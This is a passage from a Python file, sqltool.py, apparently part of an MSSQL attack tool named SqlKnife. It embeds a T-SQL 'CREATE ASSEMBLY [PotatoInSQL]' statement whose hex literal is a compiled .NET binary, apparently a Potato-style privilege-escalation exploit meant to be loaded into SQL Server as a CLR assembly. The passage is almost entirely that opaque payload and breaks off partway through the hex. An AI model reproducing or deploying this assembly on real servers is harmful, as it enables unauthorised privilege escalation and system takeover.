c68b9bbba04f39d17cbece18a7af398f104bf636 | 3a5d1b27f21af3aed3ee6d614b162b852d03c6e8 | /sqltool.py | bbb7cb457063b96ab808c9c1490ede7518457cf4 | [] | no_license | pyking/SqlKnife_0x727 | f7bc400720d4ed749bfbc77181cebc12f52fbacc | 09bc9f0cbf3b781bc92078267d46cccf74117c97 | refs/heads/main | 2023-07-04T09:54:20.770956 | 2021-08-04T09:24:10 | 2021-08-04T09:24:10 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 271,416 | py |
sqltxt4="""
CREATE ASSEMBLY [PotatoInSQL]
AUTHORIZATION [dbo]
FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C0103008AB608610000000000000000E00022200B013000000001000006000000000000AE1F01000020000000200100000000100020000000020000040000000000000004000000000000000060010000020000000000000300408500001000001000000000100000100000000000001000000000000000000000005C1F01004F000000002001008803000000000000000000000000000000000000004001000C000000241E01001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000BCFF0000002000000000010000020000000000000000000000000000200000602E7273726300000088030000002001000004000000020100000000000000000000000000400000402E72656C6F6300000C0000000040010000020000000601000000000000000000000000004000004200000000000000000000000000000000901F0100000000004800000002000500C86A00005CB3000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001E02281E0100062A1E02282C00000A2A133002000A00000001000011030A020628040000062A5A032D0B7201000070732D00000A7A020328050000062A5A1FFE733A01000625027D9100000425037D930000042A133004007C0000000200001104282E00000A2C1004282E00000A2C6A04282F00000A2C6204026F1200000A733000000A250A810800001B060A1200282F00000A2D03032B06026F3100000A100103720F000070283200000A2F2A72010000707215000070720F000070283200000A8C4C000001038C4C000001283300000A733400000A7A032A032A2A02283500000A16FE012A00133003007200000004000011020358046F3200000A283600000A0A150B020C2B48081858046F3200000A30180408186F3700000A72570000706F3800000A2C040818582A04086F3900000A1F0A33040817582A04086F3900000A28070000062C040817580B0817580C080632B407152E0906046F3200000A3302062A072A6602733A00000A7D0100000402282C00000A02037D020000042A3A027B0100000403046F1A00000A2A32027B010000046F1B00000A2A32027B010000046F1C00000A2A36027B01000004036F3B00000A2A32027B010000046F3C00000A2A36027B01000004036F3D00000A2A3A027B0100000403046F3E00000A2A36027B01000004036F3F00000A2A32027B010000046F4000000A2A0A162A46027B010000046F4100000A8C0B00001B2A36027B01000004036F1D00000A2A36027B01000004036F1E00000A2A36027B01000004036F1F00000A2A3A027B0100000403046F2000000A2A36027B01000004036F2100000A2A36027B01000004036F2200000A2A22020328230000062A3A027B0100000403046F2500000A2A36027B01000004036F4200000A2A3A027B0100000403046F4300000A2A36027B01000004036F4400000A2A000000133002009300000000000000027B020000046F290000062D0B725D000070734500000A7A03027B020000046F290000066F37000006320B7299000070734600000A7A027B020000046F290000066F3600000618334903027B010000046F4000000A323B027B020000046F2F0000066F5C00000672A50000706F4700000A027B020000046F2B000006284800000A027B020000046F2B00000673510000067A2A920203282200000603027B010000046F4000000A2F0D027B01000004036F4900000A2A142A3A027B0100000403046F4A00000A2A32027B01000004734B00000A2A32027B010000046F4C00000A2A5A72F7000070027B010000046F4C00000A284D00000A2A6A02282C00000A02037D06000004020273090000067D070000042A1E027B030000042A2202037D030000042A1E027B040000042A2202037D040000042A1E027B050000042A2202037D050000042A1E027B060000042A1E027B070000042A2E020304171628330000062A2E020304051628330000062A000013300600450100000500001102282C00000A032D0B72FD000070732D00000A7A036F3200000A2D10721101007072FD000070734E00000A7A05162F0B7249010070734600000A7A02037D0C00000402047D0D00000402057D10000004020275250000022D1303178D4E00000125161F7C9D6F4F00000A2B1D178D4B000001251603026F5000000A0A1200285100000A285200000AA27D0E0000040275250000022D0802750E0000022C012A0202283E0000067D0F000004020E047D12000004027B100000042D18027B0F0000042C1072650100707249010070734E00000A7A027B0F0000042D1F0517311B721E020070058C4C000001284800000A7249010070734E00000A7A027B0E000004729A020070280100002B163237027B0E0000048E69173308027B0F0000042D14027B0E0000048E6917311902283700000617311072A002007072FD000070734E00000A7A2A1E027B0C0000042A1E027B0D0000042A1E027B0F0000042A1E027B100000042A1E027B120000042A46027B0E0000046F5400000A740C00001B2A82027B110000042D07168D4B0000012A027B110000046F5400000A740C00001B2A1B300400A300000006000011D00D00001B285500000A0A060B076F5600000A2C27076F5700000A2C1F076F5800000A2D17076F5900000AD015000001285500000A285A00000A2B01162D03062B08066F5B00000A169A0C1203FE150D00001B022C1208285C00000A026F5D00000AA50D00001B0DDE371304036F2F0000066F5C000006720E0300706F4700000A02086F5E00000A036F2B000006285F00000A036F2B000006110473520000067A092A000110000000005300176A0037240000011E027B0E0000042A1E027B110000042A133005004901000007000011160A733A00000A0B160C3892000000027B0E000004089A0D096F3200000A2D10728803007072FD000070734E00000A7A097E130000046F6000000A13041104152E5B027B0E00000408091611046F3700000AA2062C0B060911046F3900000A330B0911046F3900000A0A2B2872D4030070068C4E0000010911046F3900000A8C4E000001283300000A72FD000070734E00000A7A09110407283F0000060817580C08027B0E0000048E693F60FFFFFF062D02162A027B10000004173028076F4000000A2C20722A040070027B100000048C4C000001284800000A72FD000070734E00000A7A027B10000004173152076F4000000A2D1E02188D4B000001251672B5040070A2251772B9040070A27D110000042B2C076F4000000A17331707166F4900000A6F3200000A2D0902147D110000042B0C02076F4C00000A7D11000004061F3D2E02172A182A00000013300500AE00000008000011150A0317580B2B7F02076F3900000A0C081F7B2E07081F7D2E222B4E06152E1672BD04007002284800000A72FD000070734E00000A7A0717580A2B470615331672BD04007002284800000A72FD000070734E00000A7A0402060706596F3700000A6F6100000A150A2B19061533150402076F3900000A0D1203286200000A6F6100000A0717580B07026F3200000A3F75FFFFFF06152E1672BD04007002284800000A72FD000070734E00000A7A2A8602036F4100000603146F2C00000603146F2A000006036F300000066F0E0000062A2202036F410000062A1E0228340000062A5A188D4E00000125161F3D9D25171F3A9D80130000042A3602286300000A17284B0000062A220216284B0000062A5A1FFE734301000625027D9E00000425037DA00000042A3E178D4B0000012516721D050070A22A1A72290500702AAA03286400000A2D0D0372730500706F6500000A2D05041451162A0403176F6600000A284900000651172A1E0228450000062A1E02286700000A2A3E0203286800000A02047D140000042A42020305286900000A02047D140000042A6A020304286A00000A020372770500706F6B00000A7D140000042A1E027B140000042A6A020304286C00000A037277050070027B140000046F6D00000A2A220214285B0000062A13300300670000000000000002736E00000A7D1600000402728D050070736F00000A7D1800000402287000000A02027B16000004737100000A7D1700000402037D15000004027B150000042D25027EAA000004252D17267EA9000004FE065B010006737200000A2580AA0000047D150000042A1E027B150000042A2202037D150000042A1E027B170000042ACE032D0B7205060070732D00000A7A036F3C0000062C12036F3C0000068E2C09036F3C000006169A2A7213060070734500000A7A1B3002002000000009000011032D0B7205060070732D00000A7A000203287300000A0ADE0526140ADE00062A0110000000000F000A1900053200000142020304287400000A020428640000062A000000133003003C0000000A00001102287500000A036F7600000A0A0203287700000A170B2B1802287800000A066F3C000006079A6F7900000A260717580B07066F3C0000068E6932DD2A42020304287A00000A020428640000062A0000001B3003008E0000000B000011032D0B7205060070732D00000A7A036F3C0000068E69737B00000A0A170B2B2602287800000A036F3C000006079A036F7C00000A06036F3C000006079A6F3B00000A0717580B07036F3C0000068E6932CFDE3A26066F4100000A0C2B151202287D00000A0D02287800000A096F7900000A261202287E00000A2DE2DE0E1202FE160B00001B6F1100000ADCFE1A2A0000011C000002005B00227D000E0000000000001C003753003A2400000176032D0B723D060070732D00000A7A0203734C010006286600000626022A260203287F00000A022A2A0203140428680000062A2E020304051628690000062A0013300500400000000C000011735C0100060A06057DAB000004067BAB0000042D0B724B060070732D00000A7A03041706FE065D010006738000000A0E04734F0100060B0207287F00000A022A2A02031404286B0000062A2E0203040516286C0000062A0013300500400000000D000011735E0100060A06057DAC000004067BAC0000042D0B724B060070732D00000A7A03041806FE065F010006738000000A0E04734F0100060B0207287F00000A022A2A02031404280200002B2A3E02030405738100000A28660000062A2A02031404280300002B2A3E02030405738200000A28660000062A72032D0B7259060070732D00000A7A027B16000004036F8300000A022A1E0273280000062A001B300400DF0000000E000011032D0B7267060070732D00000A7A026F720000060A06156F2E000006170B733A00000A0C02729A020070288400000A2D03142B0B02729A020070287300000A0D037355010006130411046F5701000613052B5F11056F1300000A130606256F2D0000061758130711076F2E0000061106727B060070288500000A2C04160B2B32072D0D08090611062875000006262B22021104110628740000062D16021106066F770000062D0B080906110628750000062611056F1200000A2D98DE0C11052C0711056F1100000ADC066F290000062C0C066F29000006066F40000006082A0001100000020051006CBD000C000000001B300300470000000F000011027B160000046F8600000A0A2B1C1200288700000A0412016F480000062C0B03076F56010006170CDE1B1200288800000A2DDBDE0E1200FE161600001B6F1100000ADC162A082A000110000002000C002935000E00000000B6032D0902056F6100000A162A046F30000006056F0D00000604036F2A000006046F29000006046F40000006162A000013300600C700000010000011032D0B7281060070732D00000A7A04050E040E0514250B5107250B5107250B510751027B18000004036F8900000A0A066F8A00000A2D02162A04066F8B00000A72930600706F8C00000A6F8D00000A5105066F8B00000A729D0600706F8C00000A6F8D00000A51066F8B00000A72A70600706F8C00000A6F8A00000A2C47066F8B00000A72AF0600706F8C00000A6F8A00000A2C300E04066F8B00000A72A70600706F8C00000A6F8D00000A510E05066F8B00000A72AF0600706F8C00000A6F8D00000A51172A0013300800B700000011000011046F290000062C0A0203042878000006172A0203120012011202120328760000062D02162A0207288400000A2C580207287300000A1304040607285200000A6F2C0000060411046F2A00000611046F36000006130511052C091105175917361C2B22046F30000006076F0D000006046F29000006046F400000062B080209042878000006172A0203070428790000062C02172A0206178D4B0000012516070809288E00000AA2288F00000A04287A0000062C02172A162A0013300400F100000012000011032C61046F290000066F3D0000062D0C178D4B000001251603A22B2903046F290000066F3D000006046F290000066F37000006046F300000066F1200000659166F9000000A0A160B2B1406079A0C046F30000006086F0D0000060717580B07068E6932E6046F300000066F12000006046F290000066F370000062E0E046F290000066F3600000617330D046F29000006046F400000062A046F300000066F12000006046F290000066F370000063141027B1500000472BB060070046F300000066F120000068C4C000001046F290000066F370000068C4C000001283300000A6F4700000A046F2B00000673510000067A2A000000133005008A00000013000011046F3200000A17327F04046F3200000A17596F3900000A1F2B2E1204046F3200000A17596F3900000A1F2D335B020416046F3200000A17596F3700000A250B288400000A2C420207287300000A0A04046F3200000A17596F3900000A1F2B2E03142B01030C05036F2C00000605066F2A000006056F30000006086F0D00000606056F40000006172A162A000013300400FF00000014000011037221070070289100000A2C02162A160A38DB0000000304066F3900000A13041204286200000A285200000A0C04066F3900000A13041204286200000A0D0209288400000A2D29062D02162A027B1500000472250700706F4700000A090304285200000A283300000A1473510000067A0209287300000A0B076F36000006130511052C091105175917360D2B3B05080407287B0000062B55040617586F6600000A130605076F2A00000605086F2C0000060211066F3200000A2D03142B021106052878000006172A7291070070076F3600000613071207FE16060000026F9200000A285200000A734500000A7A0617580A06046F3200000A3F19FFFFFF172A8A02036F2C00000602056F2A000006026F30000006046F0D00000605026F400000062A00001B300600AC0100001500001102289300000A0A38A6000000066F9400000A0B160C076F380000063A920000000775250000022C180203076F3500000672C50700701F501F50287E0000062B7207750E0000020D092C150203096F91000006096F92000006287D0000062B530203071202287F0000062C47081F1D2F13031F201F1D0859739500000A6F9600000A2B15036F9700000A031F201F1D739500000A6F9600000A0203076F350000061F201F1F739500000A1F331F31287E000006066F1200000A3A4FFFFFFFDE0A062C06066F1100000ADC027B160000046F8600000A130438B40000001204288700000A130511056F4600000613061106399B00000011068E399300000016130703120772C707007028810000060312071106169A28810000061713082B2003120772F70000702881000006031207110611089A2881000006110817581308110811068E6932D811071F1D2F14031F201F1D110759739500000A6F9600000A2B15036F9700000A031F201F1D739500000A6F9600000A020311056F470000061F201F1F739500000A1F331F31287E0000061204288800000A3A40FFFFFFDE0E1204FE161600001B6F1100000ADC2A011C000002000700B8BF000A000000000200D600C79D010E000000001330060082000000160000111F201E739500000A05252D0726046F86000006285200000A0A066F3200000A1F1C2F2D0203061F201F1D066F3200000A59739500000A046F87000006288E00000A7E1D0000041F501F31287E0000062A02030672C50700701F501F50287E00000602037E1C000004046F87000006285200000A7E1D0000041F501F31287E0000062A00001B3003005300000017000011160A027B150000040428830000066F4700000A0E040E0528840000066F1600000A0B2B1A076F1300000A0C062C0703056F9600000A03086F9800000A170A076F1200000A2DDEDE0A072C06076F1100000ADC2A0001100000020022002648000A00000000133007008101000018000011046F3C0000060A061628800000060B07068E693302162A06079A6F3200000A173318030572CD0700702881000006030506169A28810000062B16030572D50700702881000006030506169A28810000060607175828800000060B2B3E030572F70000702881000006030506079A6F3200000A172E07727B0600702B0572210700702881000006030506079A28810000060607175828800000060B07068E6932BC046F36000006172E0C046F360000061840CA000000046F360000061733170305027B1500000472E70700706F4700000A28810000060305027B1500000472B904007016046F37000006046F350000062882000006285200000A6F4700000A2881000006046F3D0000062C09046F3D0000068E2D0772EB0700702B08046F3D000006169A0C170D2B2E0305027B150000040809046F37000006046F350000062882000006285200000A6F4700000A28810000060917580D09046F3700000632C9046F360000061733170305027B1500000472EF0700706F4700000A2881000006172A7A2B05031758100103028E692F0F02039A729A020070288500000A2DE6032A4E03034A046F3200000A585402046F9600000A2A1B300500BA0000001900001104252D062672C507007072F3070070289900000A72C50700700A6F9A00000A0B2B51076F1500000A74350000016F8D00000A178D4E00000125161F3A9D6F4F00000A0C0317330808088E6917599A0A03173120088E6918331A08169A0F00289B00000A289C00000A288500000A2C0408179A0A076F1200000A2DA7DE110775170000010D092C06096F1100000ADC06286400000A2C2203172E18723508007002175813041204285100000A285200000A2B0572350800700A062A000001100000020020005D7D00110000000013300500D90000001A000011022D067E9D00000A2A026F3200000A739E00000A0A150B160C38A800000002086F3900000A0D091F3A2E7B091F7B2E07091F7D2E1D2B790807330D061F7B6F9F00000A26150B2B7A07162F760817580B2B7007162F3B081758026F3200000A2E0D020817586F3900000A1F7D2E11724108007002285200000A734500000A7A0817580C06727B0800706FA000000A262B310602070807596F3700000A6FA000000A26150B2B1C071632060817580B2B1207162F0E0602086F3900000A6F9F00000A260817580C08026F3200000A3F4CFFFFFF066F9200000A2A5602188D4C0000012516039E2517049E28030000062A761F201F1D739500000A801C0000041F201F1F739500000A801D0000042A1E027B1E0000042A1E027B1F0000042A1E027B200000042A2202037D200000042A1E027B210000042A2202037D210000042A1E027B220000042A2202037D220000042AB602282C00000A03286400000A2C0B729D060070732D00000A7A0203288F0000067D1E00000402047D1F0000042A0000133003004F0000001B000011026F3200000A739E00000A0A160B160C2B2D020828A100000A2D12160B0602086F3900000A6F9F00000A262B0E072D0B170B061F206F9F00000A260817580C08026F3200000A32CA066F9200000A2A00133002002F0000001C000011022888000006252D0426142B060328730000060B07252D0226030A02288A000006252D03262B06066FA200000A162A1E027B230000042A1E027B240000042A00133005005B0000000000000002727F08007004252D0D26032D03142B06032886000006285200000A04252D0D26032D03142B0603288600000616052833000006032D0B7299080070732D00000A7A02037D230000040204252D0726036F860000067D240000042A2E72A908007073A300000A7AB602046F34000006046F35000006046F37000006046F38000006283300000602037D2600000402047D250000042A7A027B26000004177D2E000004027B25000004252D02262A0328420000062A3E0204285B00000602037D270000042A9A020428990000062C140203027B2700000404739500000628630000062A02030428630000062A0013300200370000001D000011032D02162A03750F0000022C02162A036F3C0000060A160B2B1506079A7213090070288500000A2C02172A0717580B07068E6932E5162A9A020428990000062C140203027B2700000404739500000628610000062A02030428610000062A1E027B290000042A4E020328A400000A28A500000A04289D0000062A00001330030054000000000000000228A600000A032D0B721D090070732D00000A7A042D0B7229090070732D00000A7A052D0B7237090070732D00000A7A02037D2800000402020E0473970000067D2900000402047D2A00000402057D2B0000042A1E027B280000042A1E027B2A0000042A1E027B2B0000042A32027B290000046F5C0000062A32032D02142A0328860000062AAE032D0B72AF060070732D00000A7A020328A4000006027B2900000403141673930000066F6600000626022A0000133003006400000000000000036F8C0000062C19036F8C000006022E10724309007072AF060070734E00000A7A03026F8D000006036F880000062C16036F88000006027B290000046F5C0000066F5D000006020328A700000A02027B2D000004252D07260375120000027D2D0000042A3E027B29000004036F6500000626022A3E027B29000004036F6600000626022A42027B2900000403046F6700000626022A46027B290000040304056F6800000626022A4E027B290000040304050E046F6900000626022A42027B2900000403046F6A00000626022A46027B290000040304056F6B00000626022A4E027B290000040304050E046F6C00000626022A46027B290000040314046F0200002B26022A46027B290000040304056F0200002B26022A42027B2900000403046F0400002B26022A46027B290000040304056F0300002B26022A3E027B29000004036F7100000626022A0000001B300500CC0000001E000011032D0B72BB090070732D00000A7A027B2C0000042D0B0273A800000A7D2C000004020328B30000062D7C027B2C000004036FA900000A037B290000046F9300000A0A2B4E066F9400000A0B07750E0000020C082C30027B29000004086F91000006036F9E00000672EB070070086F92000006288E00000A1673930000066F66000006262B0D027B29000004076F6600000626066F1200000A2DAADE0A062C06066F1100000ADC03027B290000047D2900000403027B2A0000047D2A00000403027B2B0000047D2B000004022A01100000020042005A9C000A000000001B3002004E0000001F00001103023302172A027B2C0000042D02162A027B2C0000046FAA00000A0A2B13120028AB00000A036FB30000062C04170BDE1B120028AC00000A2DE4DE0E1200FE161B00001B6F1100000ADC162A072A00000110000002001C00203C000E000000005A1FFE736001000625027DB200000425037DB10000042A00133004008D000000040000110372C507007051020250252D062672C50700705102506F3200000A0A160B2B680250076F3900000A28AD00000A2D55070C2B330250086F3900000A28AD00000A2C20030250086F6600000A6FAE00000A5102025007086F3700000A6FAE00000A512A0817580C080632C90372C507007051072C0F020250076F6600000A6FAE00000A512A0717580B070632942A000000133005005F01000020000011032D0B7267060070732D00000A7A02167D2E000004027B2D0000042D170273BB0000067D2D00000402027B2D00000428A400000602FE06BA00000673AF00000A0A027B2900000472130900706F8400000A2D18027B29000004721309007072C507007006176F6900000626027B2900000472D90900706F8400000A2D18027B2900000472D909007072C507007006176F6900000626027B29000004036F730000060B076F4000000A2D47027B2E0000042C0D027B2D000004076F900000062A02289F000006027B290000046F5C00000672DD09007002289E00000672E9090070288E00000A6F4700000A6F9800000A172A020728B70000060C082D14027B2D00000407166F4900000A6FBF000006172A027B2E0000042C3F086F88000006252D0426172B0A7213090070288400000A2C1307720D0A00706F3B00000A08076F900000062A086F8800000602289F0000066F7C000006162A08076F900000062A4E020328B8000006252D0826020328B90000062A0013300400610000002100001103166F4900000A0A020628B000000A2C0F03166F4400000A020628B100000A2A170B2B320672EB07007003076F4900000A288E00000A0A020628B000000A2C1203160717586FB200000A020628B100000A2A0717580B07036F4000000A32C5142A000000133003007700000022000011736B0100060A06037DB8000004027B2C0000042D02142A027B2C00000406FE066C01000673B300000A6FB400000A0B072D02142A067BB8000004734B00000A0C08166F4400000A086F4000000A2D02142A07086FB70000060D092C19067BB80000046F3C00000A067BB8000004086FB500000A092A142A2E020314FE037D2E0000042A46027213090070721B0A0070288E0000062A0000001B300500080200002300001103252D0726168D4B000001734B00000A0A02288C0000066F9B0000066F5C0000060B066F4000000A2D1D02288C0000066F9B00000602288C0000066F9F0000066F7C000006162A02288C000006066FB70000060C08022E1006720D0A00706F3D00000A395901000002288C0000066F9F0000060772510A007002288C0000066F9E00000672610A0070288E00000A6F4700000A6F9800000A02288C0000066F9F0000060772DD09007002288C0000066F9E00000672870A0070288E00000A6F4700000A6F9800000A02288C0000066F9F0000066F9700000A02288C0000066F9F0000060772E50A00706F4700000A6F9800000A02288C0000066F9F0000066F9700000A0228BD000006257EBA000004252D17267EB9000004FE066F01000673B600000A2580BA0000046FB700000A6FB800000A0D2B45120328B900000A1304120428BA00000A7213090070288500000A2D2902288C0000066F9B00000602288C0000066F9F000006120428BB00000A120428BA00000A6F7D000006120328BC00000A2DB2DE0E1203FE162000001B6F1100000ADC02288C0000066F9B00000602288C0000066F9F00000602288C0000067B2D00000472130900706F7D000006162A082D0F0206166F4900000A28BF000006172A086F880000062C18086F8800000602288C0000066F9F0000066F7C000006162A08178D4B0000012516720D0A0070A26F900000062A01100000020034015286010E000000001B300400950000002400001173BD00000A0A02288C0000066FBE00000A0B2B19076FBF00000A0C06086F860000060873C000000A6FC100000A076F1200000A2DDFDE0A072C06076F1100000ADC02288C0000067B2C0000042D02062A02288C0000067B2C0000046FAA00000A0D2B17120328AB00000A1304020672C5070070110428BE000006120328AC00000A2DE0DE0E1203FE161B00001B6F1100000ADC062A000000011C0000020012002537000A00000000020061002485000E000000001B3005009900000025000011056FBE00000A0A2B2A066FBF00000A0B0304056F9E00000672EB070070076F8600000628C200000A0773C000000A6FC100000A066F1200000A2DCEDE0A062C06066F1100000ADC057B2C0000042D012A057B2C0000046FAA00000A0C2B21120228AB00000A0D020304056F9E00000672EB070070288E00000A0928BE000006120228AC00000A2DD6DE0E1202FE161B00001B6F1100000ADC2A000000011C000002000700363D000A0000000002005C002E8A000E0000000013300600860000000000000002288C0000066FA000000602288C0000066F9B0000066F5C00000602288C0000066F9E000006720D0B007003288E00000A6F4700000A6F9800000A02288C0000066FA000000602288C0000066F9B0000066F5C00000602288C0000066F9E00000672350B007002288C0000066F9E00000672E909007028C200000A6F4700000A6F9800000A2A1E027B340000042A2202037D340000042A1E027B350000042A2202037D350000042A133001001400000026000011027C3300000428850100060A120028810100062A13300900780000002700001173860100060A1472450B0070177EC300000A7EC300000A7EC300000A7EC300000A027B320000040628200100062C0C72590B007028C400000A152A120103288301000602200001000073820100067D33000004027B3200000414120120000800001F10027B31000004027C3300000412020628210100062A133004004A00000028000011027C3300000428850100060A120028810100060B038E69078E693222160C2B1608078E692F0803080708919C2B040308169C0817580C08038E6932E42B0A729B0B007028C400000A162A0000133009006F000000290000111200032883010006021673820100067D3300000473880100062673860100060C027B32000004027B31000004120020000900001F10027B31000004027C3300000412010828210100060D092D20021728EC000006027B3100000412042822010006250D2D0802110428EE000006092AA20273880100067D310000040273870100067D32000004027EC300000A7D3500000402282C00000A2A5602282C00000A02037D5200000402047D530000042A000013300400580000002A00001102282C00000A0373C500000A28C600000A73C700000A0A066FC800000A204D454F572E0B72010C007073C900000A7A066FC800000A02061F106FCA00000A73CB00000A7D5200000417330C0206737A0100067D530000042A133002004E0000002B00001173CC00000A73CD00000A0A06204D454F576FCE00000A06176FCE00000A06027B520000040B120128CF00000A6FD000000A027B53000004066F7B010006066FD100000A74640000016FD200000A2A0000133004001A0000002C0000111F1028D300000A0A0F0028CF00000A16061F1028D400000A062A7E72490C007073D500000A80540000047E5400000428F700000680550000042A32027B5C0000046FED0000062A001330030046000000000000000273F30000067D5C00000402161673D600000A7D6100000402282C00000A02037D5D00000402047D5E00000402057D5F000004052C080228FE000006262A0228FF000006262AA60202FE060101000673D700000A73D800000A7D5B000004027B5B0000046FD900000A027B5B0000042AA60202FE060201000673D700000A73D800000A7D5A000004027B5A0000046FD900000A027B5A0000042A000013300200560000002D00001120001000008D6B0000010A03066FDA00000A2628DB00000A066FDC00000A0B72970C0070736F00000A076FDD00000A0C086FDE00000A2D02142A08166FDF00000A6F8B00000A72DF0C00706F8C00000A6F8D00000A2A000013300400CF0000002E00001118171C73E000000A0A0620FFFF00001A176FE100000A067EE200000A206117000073E300000A6FE400000A061F0A6FE500000A027B610000046FE600000A262B0B02FE137B600000042C012A0620A0860100166FE700000A2CE7066FE800000A0B020728000100060C027B5C0000040828E900000A6FF00000062672E70C0070027B5C0000046FEF00000628EA00000A284800000A0D0728DB00000A096FEB00000A6FEC00000A26020728000100060C027B5C0000040828E900000A6FF200000626076FED00000A066FED00000A2A001B300400810100002F00001118171C73E000000A0A0620FFFF00001A176FE100000A067EE200000A027B5E00000473E300000A6FE400000A061F0A6FE500000A027B610000046FE600000A262B0F02FE137B600000042C05DD2F0100000620A0860100166FE700000A2CE3066FE800000A0B18171C73E000000A0C087EE200000A208700000073E300000A6FEE00000A20001000008D6B0000010D16130438A400000011048D6B000001130509110511058E6928EF00000A021105280501000626027B5C0000046FEB0000063A860000000811056FEC00000A2608096FDA00000A130411042C7011048D6B000001130509110511058E6928EF00000A0211052805010006260711056FEC00000A260620A0860100166FE700000A2C2B076FED00000A066FE800000A0B18171C73E000000A0C087EE200000A208700000073E300000A6FEE00000A07096FDA00000A251304163D4CFFFFFF076FED00000A086FED00000A066FED00000ADE21130672B20D007011066FF000000A28F100000A027B610000046FE600000A26DE002A000000411C000000000000000000005F0100005F01000021000000240000011B300700BD00000030000011027B5F0000042D667EC300000A17120028F80000062606201210000016120128F9000006260772FA0D0070027B5E0000048C4C000001284800000A1D73240100060C178D370000020D09168F370000027E550000047DFB00000414027C5D000004141A08170928FA000006262B11027B5D00000428F200000A28F300000A26DE271304027B5C0000046FEB0000062D1672180E007011046FF000000A284800000A28F400000ADE000217FE137D60000004027B5C0000046FEB0000062A00000001100000000000008181002724000001133003003A000000310000111D8D6B00000125D08C00000428F500000A0A160B160C2B1A030891060791330C0717580B071D3306081C592A160B0817580C08038E6932E0152A0000133006008000000032000011020328040100060A06153302152A038E6906598D6B0000010B03060716078E6928F600000A03061E58910C0817594503000000020000000F000000280000002B33027B5C000004076FF00000062A027B5C000004076FF100000607160306078E6928F600000A2A027B5C000004076FF20000062A72220E007028C400000A152A13300100780100000000000002452300000035000000050000006500000053000000D10000006B000000B90000008F000000B30000005F000000A7000000AD000000770000004D00000023000000290000001100000089000000950000003B0000000B000000A10000001700000083000000CB0000009B0000004100000071000000470000001D0000002F000000590000007D000000BF000000C500000038CC000000726C0E00702A72A80E00702A72CA0E00702A72EE0E00702A721E0F00702A724E0F00702A72820F00702A72B80F00702A72F40F00702A72221000702A72441000702A727C1000702A72AA1000702A72EA1000702A721C1100702A72581100702A72841100702A72B01100702A72E41100702A72141200702A72541200702A727A1200702A72AE1200702A72D41200702A72FC1200702A72241300702A724E1300702A72881300702A72BA1300702A72E61300702A72181400702A72361400702A725E1400702A729E1400702AD041000002285500000A6F5E00000A734600000A7A1B3006008D01000033000011D041000002285500000A028C4100000228F700000A2D1672C214007002D041000002285500000A73F800000A7A0228170100060A1201FE153B00000214061201280F01000639F50000001202FE153C0000021202177D0C01000412027E620000047D0E0100041202077D0D0100047EC300000A0D2814010006130411047E6A0000047E6800000460120328110100062C660916120220000400007EC300000A7EC300000A28100100062C3828F900000A1305110520140500003308161306DDC700000011052C1473FA00000A130772E0140070110773FB00000A7A171306DDA700000073FA00000A130872E0140070110873FB00000A7A73FA00000A1309289B00000A721C150070178D0F0000012516120428FC00000A8C4C000001A228FD00000A110973FB00000A7A097EC300000A28FE00000A2C0709281501000626DC73FA00000A130A289B00000A7276150070178D0F000001251606A228FD00000A110A73FB00000A7A130B289B00000A72E2150070178D0F000001251606A228FD00000A110B73FB00000A7A11062A000000413400000200000074000000B60000002A010000150000000000000000000000340000003301000067010000230000002400000113300200E7000000000000001880620000042000000F008063000004200000020080640000041780650000041880660000041A80670000041E80680000041F1080690000041F20806A0000041F40806B0000042080000000806C0000042000010000806D0000047E640000047E6800000460806E0000047E630000047E65000004607E66000004607E67000004607E68000004607E69000004607E6A000004607E6B000004607E6C000004607E6D00000460806F00000420000000028070000004200010000080710000041E80720000041F108073000004200000000880780000041780790000042000010000807A0000042A320228A400000A6F7C0000062A13300200430000000000000028FF00000A6F0001000A6F0101000A1F0A2F02162A7E0201000A72381600706F0301000A72921600706F0401000A6F9200000A280501000A20110700003502162A172A00133006004B00000035000011178D80000001251672290900701F12156A730601000AA2730701000A0A280801000A066F0901000A061602280A01000A6F0B01000A280801000A066F0C01000A280801000A6F0D01000A2A001B300B00F20200003600001172A61600700A200A1A00000B72F01600700C140D161304161305020D281C0100062513052C0672A61600700A1F1C2818010006130617281801000613071928180100062611062D1311072D0F7228170070281D010006DD9602000011042D1011062C051713042B0711072C031813040673D500000A07110573FD000006130811086F030100062D0F7207180070281D010006DD5A02000011086FFC0000067E6F0000047EC300000A1717120928120100062D0F7281180070281D010006DD2F020000120AFE1542000002120AD042000002285500000A280E01000A7D55010004120A177D57010004120A7EC300000A7D560100047F740000047F75000004120A1628060100062D0A72E3180070281D0100067E740000047E79000004162808010006267E760000047E79000004162808010006267E710000048D6B000001130B16130C7EC300000A11086FFC000006281301000626120EFE153D000002120FFE153E000002120E110E8C3D000002280F01000A7D0F010004120E720F1900707D11010004120E7E750000047D1F010004120E7E770000047D20010004120E7C1A010004254A7E7A0000046054141310092C270872F01600706F3800000A2C0C722F19007009285200000A0D72371900700809283300000A1310110417334311086FFC000006160811107E780000047EC300000A14120E120F280A0100062D6E724B19007028F900000A13111211285100000A285200000A281D010006DDD000000011090811107EC300000A7EC300000A167E780000047EC300000A72BB190070120E120F280B0100062D2272C319007028F900000A13111211285100000A285200000A281D010006DD840000007E750000042815010006262B25110C8D6B000001130D110B110D110C28EF00000A281001000A110D6FDC00000A281D0100067E74000004110B7E71000004120C7EC300000A28070100062DC17E74000004281501000626DE2B131272391A007011126FF000000A72EB07007011126F1101000A6F9200000A28C200000A281D010006DE002A0000411C0000000000001C000000AA020000C60200002B000000240000015E027E710000048D6B0000017D8000000402282C00000A2A7202282C00000A02037D8900000402047D8A00000402057D8B0000042A062A260E062000040000542A4A0E0672711A007073D500000A813D0000012A13300A0067000000370000117E5400000420001000001721CC96EC064AD8030721AC31CE9C029D530072BB1A007073D500000A027B8B000004027B8A00000473730100061F0A20FFFF00001473700100067376010006737901000673F40000066FF60000060B0307078E6912006FE10000062A22057EC300000ADF2A36027B89000004036FD70000062A46027B890000040304050E046FD50000062A4E027B890000040304050E040E056FD30000062A4E027B890000040304050E040E056FD10000062A36027B89000004036FDA0000062A46027B890000040304050E046FD90000062A46027B890000040304050E046FD60000062A56027B890000040304050E040E050E066FD40000062A4E027B890000040304050E040E056FD20000062A7E027B8900000403046FDF00000603168F3B